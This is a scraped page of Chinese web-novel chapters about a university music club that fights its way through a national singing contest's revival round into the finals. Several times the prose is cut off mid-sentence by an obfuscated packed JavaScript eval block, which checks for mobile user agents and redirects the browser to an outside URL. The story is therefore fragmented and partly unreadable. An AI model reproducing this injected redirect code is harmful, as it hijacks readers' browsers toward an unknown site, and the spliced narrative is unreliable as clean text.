齐扬整首歌唱完之后大汗淋漓，黑色的头发湿哒哒地粘在额头上，脸颊上有汗珠滑落，更衬得他整个人白得反光。他喘着气，深深地朝舞台鞠了一躬。 A大派上来的选手同样也是以乐队的形式，主唱是一个橙色头发的男孩，唱的是声音碎片乐队的《陌生城市的早晨》。一开口让宋之雯小小惊讶了一下，明明是二十出头的年纪，声音却有不属于这个年龄的沧桑。 整首歌的完成度不错，有种漂泊的孤独感。表演完之后，齐扬理了理衣服上台来，和男生站在一起等待着命运的宣判。 此时外面的天幕已经变为深蓝，透过窗户可以看见几颗寥落的星星挂在天空。从中午到现在大家没吃过一点东西，体力已经到了极限。 评委也已经疲累了，因此评价说得很简短：“1号选手，你的台风真的很好，是这些选手中数一数二的。但要记住，歌曲不是嗨就可以，整体有点乱了，还有这首歌对男生来说是有点高了，所以声音出不来。至于2号选手，虽然你的歌没有那么炸，但情感很细腻，而且内核也表达得不错，这是超越你这个年龄的，今天无论谁淘汰了都很可惜。” “好了，投票吧。”评委干脆利落地举起牌子，“1号。” “2号。” “1号。” “2号” 比分咬得十分地紧。 又轮到了最后一位评委，他的脸上流露出一丝苦涩：“如果可以我真想双选，可是只能选一个，唉。” 他犹豫着举起了2号的牌子，别过头，不忍心再看。 A大的阵营里爆发出一阵欢呼，所有人都冲上去抱住他们。对比之下，晨星乐队几个成员的身影显得格外单薄可怜。 宋之雯刚要喊住他们，就见他们低着头，一言不发地从选手通道走了。 她一把抓起包，不顾形象地冲了出去，往学校的那条道路跑，可一直跑到校内，都没有见到他们的身影。 宋之雯掏出手机，给何瑜打了过去，铃声响了好几声，没接。 她又换成齐扬的号码，打了好几 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这是宋之雯第一次看见齐扬哭，以前她觉得齐扬绝不会哭的，无论开心还是难过总是一副满不在乎的样子，可现在他却脆弱得像个孩子。 尹心悦抽了几张纸巾，拍着齐扬的肩膀安慰他。 宋之雯在网上搜索了一下比赛的规则和流程：“不是有复活赛的吗？上面写着投票数最高的十支队伍进入复活赛。” “可是谁给我们投票呢？”齐扬把头埋在沙发里，低低地说道。 宋之雯一点没有犹豫：“我。” 28. 第二十八章 投票 “你？”尹心悦难以置信地看着她，“就凭你一个人，能投这么多票吗？” “你可太小瞧我了。”宋之雯找到林嘉和的微信，开始打字。她把大致的情况说了一下，好歹晨星音乐社也是代表学校参加全国性的比赛，问能不能给晨星音乐社写篇推文投票。 林嘉和过了好一会儿才回复，说他和新媒体中心的老师协调了一下，他们答应了。 “看吧。”宋之雯把手机展示给她，“我们有救了。” 尹心悦的眼睛和嘴巴慢慢张大，最后信服地点点头：“行，算你厉害。” “我们把他们送回去吧。”宋之雯看了一眼醉得不省人事的几个人。 何瑜和齐扬还能走，便自己回去了，只是从始至终，齐扬都没有对投票的事情发表一声意见。 至于剩下的成员，尹心悦和宋之雯分别给他们舍友打了电话，让他们把自己的麻烦领回去。 这是两人第一次这么心平气和地交流，宋之雯忽然发现她也没有那么讨厌。 回到宿舍，宋之雯问项婉要来了晨星音乐社的演出照片，加班加点地把稿子赶了出来，并把齐扬最帅的一张照片放在了封面。 两天之后，推文顺利在学校的公众号上推出。 宋之雯第一个发给了舒青竹，请求她帮忙在各个群转发一下。 舒青竹不解：“我记得刚开学的时候你还骂齐扬骂得可厉害了，这会儿怎么为他说话了？” “你不觉得齐扬天生就是要做音乐的吗？他被淘汰了实在可惜，我是为他鸣不平。” “也是......”舒青竹仔细想了一想，“他们这次运气也实在是太烂了，遇上了最强的音乐学院，原本应该两个都晋级的。” “所以你就帮帮我吧，拜托啦。而且这条推文如果流量大的话还有奖励呢。”宋之雯央求道。 “行吧。”舒青竹勉为其难地答应了，用她的三寸不烂之舌怂恿家里的七大姑八大姨给齐扬投票。 宋之雯第二个发的人是韦峰。韦峰看了一会儿这条推文，忽然一拍大腿：“我们以晨星音乐社的名义摆个摊吧，给社长拉拉票。” “好啊。”这正和宋之雯的想法不谋而合，其他社员也表示赞同。 说干就干，韦峰立刻就向社团部提出了申请，借来了桌子和伞棚，还印了一张巨大的二维码贴在白板上。 中午的校园主干道人头攒动，韦峰支好摊子之后，把二维码塞到宋之雯手里：“你去那边吆喝试试，看看能不能多拉点人过来。” “我？”宋之雯看着自己手里硕大的二维码，觉得有些滑稽。 “没办法，为了社长，为了音乐社能进复活赛，牺牲一下吧。”韦峰一把把她推了出去。 宋之雯只好硬着头皮，拦住一个看起来比较面善的女生：“同学你好，我是晨星音乐社的，我们社团正在参加大学生音乐联赛，你能投我们一票，帮助我们进入复活赛吗？” 兴许是她的态度还算诚恳，那个女生还真被打动了，掏出手机扫了二维码。 宋之雯又说服了几个人，已经是口干舌燥。 这时她远远地看见了尹心悦的身影，拎着一大袋东西，直接甩在韦峰桌上：“你就这么干拉票啊？我把能找出来的晨星音乐社的周边都找出来了，送点福利给人家。” “对哦。”韦峰一拍脑袋，大声吆喝，“来，瞧一瞧，看一看了，给晨星音乐社投票可以免费领取精美周边，还能抽取晨星音乐社演出门票。” 他这么一吆喝果然有用，立刻就围过来了一大堆人，欣喜地在那里挑选徽章、钥匙扣等。 宋之雯看着他们忙碌的身影，觉得自己又充满了干劲，投入到了拉票工作中。 她正指导着一个女生如何通过界面投票时，忽然觉得自己被一小片阴影包裹着，紧接着头顶上传来一个的声音：“你们在干什么呢？” 送走了女生，她抬起头才发现是齐扬。 “我们在给你拉票呢，规则上说投票前十的队伍可以进入复活赛。”宋之雯面不改色地说道。 “不需要。”齐扬径直向摊位走去，“把这些东西给我收了。” “社长？”韦峰有点惊讶，“你怎么来了？” “我要不来你们还想在这里闹多久？” “这怎么能是闹呢？”韦峰急了，“大家好心帮乐队拉票，尤其是阿雯，你知道她付出了多少努力吗？” “淘汰了就是淘汰了，技不如人就得愿赌服输，没什么好说的。”齐扬伸出手去，准备把桌上的纸收走。 宋之雯拦在他面前：“别收。” 齐扬眼神冷冽，语气带着命令：“让开，我不需要你们为我做这些。” 宋之雯的语气缓和了下来：“社长，你今天要是把这些东西拿走了，可就彻底输了。” 齐扬的手停在了半空中。 “我知道你是想用实力比过别人，可现在还没到最终服输的时候，还有机会，只要有一丝希望，我们就得抓住，况且......”宋之雯犹豫了一会儿，还是坚定地说了下去，“有时候放下身段求人，也不是什么丢脸的事情。” 齐扬站在那儿了好几秒，却让宋之雯觉得仿佛过了一个世纪。随后他收回了手，转身撂下一句话：“随便你们吧。”扭头就走了。 社长这算是默许了，于是他们继续厚着脸皮去拉票。 宋之雯接下来有课，把二维码交给了来轮换的社员。等她上完课回来，发现林嘉和正等在她的摊位前。 “部长？”她一脸惊喜，“你怎么来了？” “我和老师商量了一下，这也算是我们学校的活动，因此我也可以安排一些新媒体中心的同学过来帮你们。” “那可太好了。”宋之雯高兴之余又觉得不好意思，“和老师商量也花了不少功夫吧。” “没事，说实话在你没进来之前齐扬就已经很有名了，他这次淘汰我也觉得可惜。” “阿雯。”项婉跑过来和她打招呼，把手中的东西展示给她看，“这个你拿去吧，对拉票肯定很有帮助。” 宋之雯一看，原来是之前项婉拍摄的齐扬的照片：“你真行啊，都印出来了，怎么想到的？” 项婉得意地朝她眨眨眼：“那还不是看网上的明星学来的。” 宋之雯嘴角抽搐，自己好像误入了什么明星的打投现场。 出卖齐扬的色相果然有用，他的照片引发了一波哄抢的热潮，供不应求，网上的票数也肉眼可见上涨。 接下来的几天，宋之雯一有空就会掏出手机关注排名情况，看一直稳定在三四名的样子，才放心下来。舒青竹一开始还会说她怎么比自己的事情还上心，后面索性懒得说，随她去了。 一天早上，宋之雯迷迷糊糊地醒来，打开手机发现票数已经跌到了第十一名，立刻吓得一激灵，给韦峰发了消息 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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齐扬继续平静地说下去：“所以我们要派出的是最有实力的选手，尹心悦，前面的比赛只有你一个人都赢了，你肯定要上。” 尹心悦拼命地点头：“没问题。” “还有我们乐队肯定要上，那么还有一个......”他的视线在所有人身上环顾了一圈，最后锁定了一个人，“姚琦，你吧？” 姚琦一脸惊慌，摆摆手：“不不不，我第一场就输了，而且是在对手不那么强大的情况下，我觉得我自己实力不够。” “你第二场不是赢了吗？”何瑜用手臂环住她，“相信我，现在社团除了心悦，最有实力的就是你了。” “可是......我真的可以吗？我怕拖累大家。”姚琦越说越说不下去了，快要哭出来了。 “淘汰都淘汰过了，怕什么，相信自己。”吴衡朝她竖起了大拇指，其他社员也纷纷鼓励她。 姚琦擦了擦眼泪，目光坚定地说：“好，我上。” 齐扬露出了满意的笑容：“既然人员确定了，我说一下选歌的风格，还是以有点难度的芭乐情歌为主，不要太追求新奇，也不要搞太多花哨的元素。辛苦大家接下来排练了，有没有信心？” “有！”声音响彻排练厅的屋顶，大家的眼里都闪烁着光芒，因为他们知道一场战斗即将打响。 29. 第二十九章 复活 各自分散排练后，齐扬把所有的乐队成员都拉过来召开了一个紧急的会议。 “上次选歌的问题很大，我们过分追求了现场效果，而忽略了歌曲本身的竞技性。从评委的喜好来看，还是传统的情歌更能打动他们。还有也要考虑音域，不能逞能，但难度也要有，不能口水歌。” “要不干脆选beyond乐队的歌吧？”吴衡提议。 齐扬摇头：“他们的歌曲大家实在是太熟悉了，唱不出什么新意，要选一首不那么热门的。” “那你说说？”吴衡直接放弃，把话语权交给了他。 齐扬让几个人凑近了一点，然后说出了一个歌名。 “女生的歌？好听是好听，可是得降调唱了，能行吗？”吴衡扬了扬眉毛，眼神中充满了怀疑。 “试试呗，大不了再换。” “好吧。”吴衡叹了口气，他知道这位社长一旦做了决定是不会轻易改变的，只是又得熬夜编曲了。 确定完歌曲之后，他起身去看姚琦的排练。看到她又唱的是欧美大歌的时候，情不自禁地皱了皱眉，做了个暂停的手势：“姚琦，其实你可以试着唱唱中文歌的，更能引起人的共鸣。” “可是......我当初学声乐的时候，唱的就是欧美歌比较多。” “我发现有一首歌特别适合你这种大嗓。” “什么歌？” “林忆莲的《依然》。” 姚琦拿手机放了一下，一脸惊恐地看着他：“这么高，又是粤语，我肯定不行。” “第一节课的时候你不是能连续唱三个八度吗？”齐扬走到钢琴边按了一个琴键，“试一试？” 姚琦颤颤巍巍地唱起了音阶练习，一开始声音还小得和蚊子似的，慢慢就越放越开，最后一个音力量仿佛能把天花板捅穿了。 “你看，你不是行的吗？不过我只是给你个建议，仅供参考。”齐扬笑了，转身继续他的排练。 姚琦看着齐扬离去的背影，若有所思。 接下来的时间，参赛的成员本着“只要练不死，就往死里练”的原则，昼夜颠倒地排练。虽然宋之雯委婉地提醒他们注意保护嗓子，但对于一心求胜的他们来说，也只是左耳朵进右耳朵出。没办法，宋之雯只好和其他社员一起做好后勤工作，有什么吃的都给他们买来，在有成员累得倒在沙发上睡的时候给他们盖上毯子。 复活赛在当地电视台的演播厅举行。外面来了不少学校的亲友团，黑压压地挤了一大片，但最终只有少数拿到票的人才能进去看比赛。于是这些人就用殷切的目光目送选手进场，像极了送考的家长。 吴衡激动得手舞足蹈：“这是我时隔十年第二次上电视呢。” “嘘。”何瑜瞪了他一眼，“专心比赛，不要想别的。” 宋之雯跟着他们进去，抢了一个前排的位置坐下，等待选手抽签。齐扬自诩手气太臭，于是让何瑜去。当何瑜把号码牌转过来给他们看的时候，宋之雯松了口气，还好，不前不后，第6个。 复活赛的竞争果然激烈，各个学校的参赛选手为了晋级都拿出了看家本领，几乎每一个选手比赛完，排名都要更新一次。短短几首歌的时间好像过了几个世纪。 终于，姚琦上场了。 伴奏是复古的调式，带着点流金的磨砂感，姚琦厚重的嗓音刚好把这个音乐稳稳托住，一下把人拉回到那个年代当中。 到了副歌部分，她先是平稳地叙述，随后如同走台阶一般，调越升越高，一层一层地把自己鲜血淋漓的痛苦剥离开来。观众看得大气也不敢出，他们迫切地想知道姚琦到底还能升到多高。 在最后一遍副歌的时候，姚琦的声音一下子在空气中爆裂开来，仿佛绝望中用尽最后力气发出的呐喊，带着一种生离死别的悲怆。 观众倒吸了一口冷气，劈里啪啦地开始鼓掌。 90.12分，这是截止到目前场上的最高分，暂列第一位。 姚琦终于露出了如释重负的笑容，她朝四面都鞠了一躬，欢快地跑下台，然后被队友们拥入怀中。 后面上场的两个分数都没有姚琦高。到了第九个的时候，宋之雯总觉得这个人很熟悉，努力在记忆中寻找，才发现这是他们曾经打败过的D大。 能在复活赛中突围，看来实力不容小觑。 他们的音乐风格则更大胆，偏电子音乐为主，许多夸张的音效混合在一起，乍一听还不适应，但多听几遍竟然还能跟着旋律唱出来。 评委十分惊喜地肯定了他们的创意，分数略高于姚琦，91.20分。 齐扬的面色越来越凝重，他们现在在边缘已经很危险了，下面两场必须全力以赴才行，于是他把所有的目光投向了尹心悦。 尹心悦对他比了个“ok”的手势，表示自己没问题。 一轮结束后稍作休息，紧接着就开始第二轮比赛。尹心悦时不时在场边活动一下开嗓，让自己保持竞技的状态。在焦急等待几个人的表演过后，终于轮到她上场了。 她这首歌是看着齐扬选的，是徐佳莹的《绿洲》。 她一开口宋之雯有点惊讶，是从未听过的低音，看似慵懒随意，漫无目的，实际上尽在掌控之中，稍微有点偏移就能被拉回来。 我会唾弃自己的宽容 情愿放逐每条背叛的线索 你的沉着喧闹得震耳欲聋 嘲笑我永远的词穷 前面的主歌并不是那种大开大合式的，把感情直给。而是温水煮青蛙，一点一点把痛渗进你的皮肤，等你真正发现的时候已经遍体鳞伤。 你能往前走我也厌倦了再蹉跎 紧抱住的绿洲是残破的海市蜃楼 你真的要走我还一厢情愿地奢求 封印在荒芜的时空 尹心悦的声音有种透不过气来的窒息感，头顶上空仿佛有乌云笼罩，眨眼间下起了雨。她双手颤抖着，极力压抑着自己内心的渴望。这首歌她完全是把自己的情感剖析开来，再打碎了重组，听得宋之雯心里也像有一只手抓着，闷闷的。 唱完之后，尹心悦还没有缓过劲来，大口大口地喘气，眼里隐隐有泪光，直到公布分数的时候才平静些。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14799338|154747||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 92.56分。她自己都捂嘴惊讶了一下，这是从没有想过的分数，这之后C大的分数又来到了第一位。 晨星音乐社那边全在欢呼，齐扬也对她竖起了大拇指。 接下来就看D大的表现了。 他们的战术非常聪明，采用了田忌赛马原则，第二轮把上次的主唱派了上来。齐扬已经打听清楚了那个男生的信息，叫樊博宇，虽然学的是理工科，但从小学舞蹈，也参加过舞蹈比赛。 他选了一首难度非常高的唱跳歌曲，气息非常地稳，在歌曲情感的最高处还能平地起高音。 分数继续上涨，来到了93.04分。 “靠。”吴衡忍不住骂了句脏话，眼睛愤怒得要冒火。 齐扬看樊博宇的眼神也带了侵略性，咬着牙说道：“你给我等着。” 此时时间已经过去两个小时了，对歌手的体力都是一种消耗，最重要的是你要面对长时间恐惧和不安的包围，不知何时才能结束。 快上场的时候，齐扬才更换了演出服，和成员们搭着肩膀聚气，每个人的血性都被激发了出来。 灯光一亮起，当宋之雯看清乐队成员的着装的时候，心不由自主地跳了一下。其他成员都穿着白色的卫衣，只有齐扬是灰色的，朦胧得像一团雾。 他要唱的就是徐佳莹的《灰色》。 清晨舍不得醒的美梦是你 那柔和清甜的棉花糖是你 传递祝福的栀子花是你 那慵懒飘飘荡荡的云朵是你 如果生命可以用颜色比喻 只有你的存在能和我融为一体 奇怪的是，他刚上场前浑身还带着攻击性，开口后就迅速融入了这首歌中，声音异常的温柔。宋之雯还是第一次听到这样的齐扬，那低沉的声音就像白色的羽毛，反复在她心尖上挠痒，让她不由自主地沉醉在他为她创造的温柔乡中。 这时灯光忽然一闪，一道白光打在齐扬身上，周围没有音乐声，他的声音就这么冲破天际。 白色 的你 白色 的你 白色 的我们在哪里 如果说前面的歌还是朦朦胧胧的一团雾，看不太清晰，那现在就是一束光照进了黑暗里，让整个世界都亮堂了起来，齐扬的声音也逐渐响亮清澈。他每唱一句“白色”，后面的成员就一起和声“的你”，音浪起伏，却又错落有致，像钢琴上的黑键白键，直震得人心颤。 宋之雯算是看明白了，是白色的那道光让黑色逐渐变淡，最终蜕变为温柔的灰色。 齐扬一开始还低着头，后面索性无所畏惧地昂起头，眼睛里也闪着光，每一声的“白色”都掷地有声，仿佛真让人看见了希望。 最后一句话唱完，掌声经久不息。 齐扬紧张地盯着大屏幕，宋之雯双手合十，和他们一起祈祷。她盼望着命运之神能眷顾一次齐扬，结果配得上他的努力。 耳边传来主持人激动的声音：“这是我们比赛创办以来的最高分，破了纪录，96.7分！” 30. 第三十章 决心 宋之雯莫名有点想流泪，她真心为齐扬感到高兴。 尹心悦和何瑜早就已经哭成了泪人，紧紧相拥，男生也击掌庆祝，而当事人齐扬却只是淡淡一笑。 短暂地兴奋过后，他们意识到比赛还没有结束，还要等待接下来的结果。 下一组，分没有他们高。 再下一组，也没有！ 到了D大上场，分数甚至比之前樊博宇的还低一点，这样C大就稳稳锁定了决赛的席位。 这回齐扬才像放下了所有包袱般，开怀地笑了起来。 宋之雯干脆站了起来，拼命朝他们挥手，齐扬也微笑着致意。 “让我们恭喜C大、D大从复活赛突围成功！”主持人用坚定的声音为这场比赛做了一个结尾。 两边的礼花开始工作，五颜六色的彩带喷射到空中，如雪一般纷纷扬扬地落下，把小小的演播厅装点成了一个童话世界。 宋之雯以最快的速度从看台上冲下来，汇入了晨星音乐社的人群中。齐扬左手搭住她的肩膀，右手搭住韦峰：“走吧，庆功宴，我们去庆祝一下。” “我请客，社长买单。”韦峰立刻接话。 齐扬白了他一眼，嘴上还是笑着答应道：“好。” 一群人肩搂着肩，排成一行出了演播厅。此时还是三月底，春寒料峭，夜晚的风吹来有些冷意，然而浇不灭他们内心的火热。 他们还是不敢相信，自己日思夜想能进入最后的决赛，竟然真的实现了！ 走了一会儿还是难掩饰激动的心情，他们索性在大街上跑了起来，还长长地大吼了一声，引得路人纷纷侧目，他们自己却笑了起来。 走累了，齐扬最后选了一家烤肉店坐下，要了一打啤酒，给每个人开了一罐。 他首先拿着酒高举到空中：“这段时间大家辛苦了，我们能进入到决赛非常不容易。我要感谢很多人，感谢乐队的所有人尽心尽力编曲，尹心悦姚琦努力赢下每一场比赛，还有宋之雯尽心尽力地宣传。少了任何一个都不行，我敬大家一杯。” 其他社员也把酒杯举到空中，和他碰了一下。 “晨星音乐社牛逼！” “决赛继续加油！” “决赛是什么时候啊？”宋之雯问旁边的叶琛。 叶琛想了一下说道：“五一假期。” 齐扬立刻抢着说：“你会来的吧？给你留票。” “我本来要回家的。”宋之雯陷入了无限的纠结中，她很后悔之前答应了于爱丽女士，现在不知道找什么借口。 “那就不回了。”他的态度非常干脆。 看着他满怀期待的眼神，宋之雯还是不忍心拒绝他：“好，我会来的。” 齐扬这才放松了下来。 何瑜给每个人夹了一块烤肉：“抓紧吃补一补，接下来的训练就辛苦了，不过为了决赛的胜利嘛，有没有信心？” “有。”大家异口同声地回答，浑身充满了干劲。 庆功宴一直进行到很晚才结束，宋之雯晕乎乎地回宿舍，到头就睡。到了第二天清醒的时候，才开始思考怎么在于爱丽女士面前蒙混过关的问题。 学校活动？不行，她肯定会追问什么活动。 学业？现在学业还没那么紧张。 旅游？总要发几张照片报备吧？ 她苦思冥想，忽然灵光一闪，拨通了于爱丽女士的电话。 听得出于爱丽那边是上班的间隙，声音很嘈杂。宋之雯便讨好地问道：“妈，上班呢？辛苦吗？” “有话快点说。”于爱丽有点不耐烦。 宋之雯只好直入主题：“妈，我五一假期不回来了。” “之前说的好好的，怎么又不回来了呢？” “是这样的，我参加了学院里学长学姐的一个科技创新项目，进全国赛了，所以五一要去B市比赛。” “哦这样啊，你大一就能进全国赛，厉害的。” “哪有，是我求学长学姐带带我，这项目还是他们的，我只是众多成员之一而已。” “这个项目能加分吗？” “如果获了奖是能加分的，加得还不少呢。” 于爱丽的电话那头静止了好一会儿，让宋之雯心里七上八下的。最后她才叹了口气，说了一句：“行，不回来就不回来吧，你比赛加油，注意安全。” “放心吧妈，我都这么大的人了，肯定能照顾好自己。”宋之雯挂了电话，忍不住高兴得跳了起来。 五一假期开始之前，宋之雯和晨星音乐社一起乘上了去B市的飞机。 主办方很贴心地给每个参赛的学校都准备了套房，中间是一个很大的客厅，方便排练和摆放乐器。 首都对他们来说还是无比新鲜，因此音乐社的第一顿聚餐就选择了全聚德烤鸭。 然而等东西真正上来，吃了第一口之后，他们纷纷皱了眉头：“不好吃，和路边摊买的烤鸭没什么区别。” 果然是本地人都不会去的店。 接下来几天他们就改变了策略，选择躲在酒店里吃外卖，顺便排练。 决赛和复活赛的规则又有不一样，虽然都是三轮，但选手可以重复上场，还可以请帮唱嘉宾。于是早在确定阵容的时候，齐扬就当机立断，把其中的一首歌给何瑜唱。 何瑜眨了眨眼睛，不确定地问：“你们确定要我唱吗？就这么信任我？” “那当然，瑜姐是我们的王牌，瑜姐一出，谁与争锋。”吴衡奉承道。 何瑜被逗笑了：“行，那我就重新出山，替晨星音乐社搏一搏。” 越临近比赛，宋之雯就感到他们的焦虑越重，每一个排练的细节都要反复磨好久。毕竟大家都是过五关斩六将出来的，谁也不肯轻易认输。况且听说这次还有知名的音乐制作人担任评委，表现好没准有签约的机会。 宋之雯也自知做不了什么，只能空的时候出去逛逛，变着花样买小点心回来给他们换换口味。 就在比赛的前一天晚上，她正准备下楼买饭，忽然看见齐扬站在酒店的楼下，手里夹着一根烟，抽一口，吐出烟圈，又低着头沉思。 宋之雯小心翼翼地走了过去，试探着问道：“齐扬？” 齐扬看到她，立刻把烟掐灭了，丢进垃圾桶：“你怎么来了？” “下楼买饭，刚好碰到了。” 宋之雯还想走得更近一点的时候，齐扬伸手挡了在她面前：“就保持这个距离吧，我身上都是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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化妆师正在给参赛选手做妆造，宋之雯闲着没事，便漫无目的的到处走。忽然一个橙发的熟悉身影映入了眼帘，他正在角落里练着声。 橙发也认出了她，便走了过来：“你是C大的吧？真没想到你们进最后的决赛了。” “你什么意思？”齐扬转过头来，语气很不友善。 “没什么意思，有点意外你们能从这么多学校里复活。”橙发主动伸出了手，“认识一下吧，我叫郭卫，麋鹿乐队的主唱，没准我们以后要经常见了。” 齐扬很警惕地握了一下他的手：“你等着，这次我们一定会拿出全部的实力。” “那我就等着看了。”郭卫做了个敬礼的手势，一边笑着一边走了。 何瑜皱了皱眉：“搞不懂这人想干嘛，算了，不要去理他。” 一直折腾到中午，所有的工作才算准备完毕。两束白光左右交错打在舞台上，主持人就在大家的掌声中走上台。 所有人心里都清楚，属于他们的时刻终于到来了。 31. 第三十一章 决赛 “欢迎大家在五一假期里来参加我们大学生音乐联赛的决赛。”主持人笑着用标准的播音腔开始介绍，“经过近六个月的激烈角逐，我们共决出了八支参赛队伍，请让我们把掌声送给他们。” 灯光的角度一转，打在了参赛选手身上，宋之雯跟着观众一起拼命鼓掌。 “然后是本次比赛的评委，著名的音乐制作人涂龙先生和他的制作团队，感谢他们在百忙之中对我们比赛的大力支持。” 又是一阵掌声。 “下面介绍一下决赛的规则。本次决赛共分为三轮，第一轮排位赛，每支队伍分别派出一名选手或一个组合参赛，唱完即打分，排名前四的队伍进入淘汰赛。第二轮四支队伍抽签两两PK，获胜的队伍进入冠军争夺赛，最后决出冠亚军。” 选手们都倒抽了一口冷气，尤其是第一轮就要淘汰掉一半这个环节未免太残酷。 “好，下面开始抽签。”主持人示意工作人员拿着箱子上台。 齐扬还是不敢抽，侧身让尹心悦抽。当尹心悦把号码亮出来给他们看的时候，大家纷纷松了一口气，还好，第7个，不是第1个唱就行。 更巧的是，抽到第8个的是A大，这就意味着他们又要面临一次正面对决。 抽完签之后，选手就到候场区做准备。前面唱的几组选的都是中规中矩的情歌，几乎看不出什么区别。涂龙脸上也没有特别的表情，只是机械地点评一下唱功，因为他明白更好的还在后面。 比赛进行快一半了，场上最高的分数还没有破85。 直到樊博宇身着一件泼墨的白色汉服，手里拿着扇子上场的时候，涂龙的眼睛才亮了亮。 樊博宇选的是一首古风歌，灯光暗下来的时候，他先拿扇子挡住了脸，等音乐响起再缓缓移开。 旋律一开始是平缓的调子，如潺潺流水流进你的心扉，有化骨的柔情，紧接着突然转急，马蹄声、兵戈相接声混杂在一起。樊博宇的扇子也越舞越快，到了情感的最高处还跳起来转了个身，袍子展开像一朵沾了墨迹的白花。更让人佩服的是他边唱边跳气息依旧很稳，甚至还能拔到高音。 最后拨弦的声音预示着这首歌的结束，樊博宇也一把把扇子收回来，朝大家举了个躬，场上第一次响起了热烈的掌声。 涂龙的脸上终于露出了笑容：“编排很有创意，尤其是要兼顾唱和跳这两者并不容易，有人说过你更适合去当爱豆吗？” 樊博宇也回了他一个微笑：“真有人这么说过，而且我也正好有这个打算。” “那为什么还要来参加这个比赛呢？” “因为我觉得这二者并不冲突，况且把歌唱好也是作为一个偶像最基本的。” 涂龙满意地点头：“我想我没什么好说的，直接打分吧。” 他和其他几位评委都亮出了打分，所有人都呆住了，因为分数显示的是92分。 从85到92无疑是质的飞跃，这样樊博宇很轻松地就淘汰了末位的选手。 接下来每一位的演唱对选手都是考验，意味着有人可以继续比赛，有人要止步于此。 尹心悦大口地呼吸着，她的心跳得厉害，尤其是刚刚樊博宇的表演，让她感觉千斤重担都压在身上。 何瑜一边替她捏着肩膀，一边安慰她：“没事，前面几位分都不高的，大胆去吧，我们都相信你。” 主持人已经在喊有请下一位选手登台，尹心悦只好提起裙子向台上走去，何瑜在背后轻轻推了她一把，算是给她加了点力量。 当尹心悦一上台的时候，下面的观众都“哇”了一声。她今天穿了一身奶白色的礼服裙，长发烫成微卷，上面别了一朵栀子花，就像一个公主。 尹心悦闭着眼睛，自由地摇晃着身体，进入歌曲的状态。开头轻松的旋律响起，是孙燕姿的《开始懂了》。 我竟然没有调头 最残忍那一刻 静静看你走 一点都不像我 现在尹心悦唱歌的功力已经非常纯熟，俨然与歌融为了一体，仿佛她不是在唱歌，是带着音调抑扬顿挫地给你讲一个故事。 如果说前面的主歌还是平静地叙述，那么到了副歌情况急转直上，尹心悦特意增加了气息，让听起来略显飘荡的歌声更加清晰有力。 相信你只是怕伤害我 不是骗我 很爱过谁会舍得 把我的梦摇醒了 宣布幸福不会来了 尤其是“骗”“爱”这些字，她咬得格外用力，花光了全身的力气。紧接着是一段绵长的吟唱，然后精准地接到最后一部分副歌，很奇怪她的声音在抖，几乎是用喊出来的，有个别音准也飘了。 宋之雯很担忧地抬头往前看去，她很少见到尹心悦在台上失控的时候，以往就算被歌曲感染到，她也能很好地把情绪拉回来，这次不知道怎么了。 表演结束之后，涂龙很严厉地批评了尹心悦被个人情感控制的问题。歌手在唱歌时应该保持一定的客观理性，这样才能把歌唱好，不然完全把自己代入这首歌，放任自己的情感，就会一塌糊涂。 好在尹心悦最基本的唱功在那里，涂龙还是手下留情地给了88分。 尹心悦也自知没发挥好，擦了擦眼泪就落寞地走下台了。 现在就剩A大没上过台了，他们派出的依然是宋之雯上次看到的唇钉女，所有人的目光都集中在了她身上。 然而女孩却丝毫不畏惧，往那儿一站就有一种万物为她俯首称臣的气势。 她选的歌是《母系社会》，高音一波接着一波，听得人头皮发麻，恨不得能把演播厅劈成两半。 歌曲结束，所有人都服气地鼓掌，就连涂龙眼里也露出了慈父般怜爱的神情，把她的唱功翻来覆去夸了又夸。 果不其然，A大拿到了全场最高的93分。 八个学校唱下来，C大最终以第三名的成绩进入了淘汰赛，这个成绩对他们来说其实不算理想。 尹心悦的脸上充满了失落，何瑜拍着她的背安慰她：“没事的，你输的，我都给你赢回来。” 淘汰赛也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14809387|154747||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 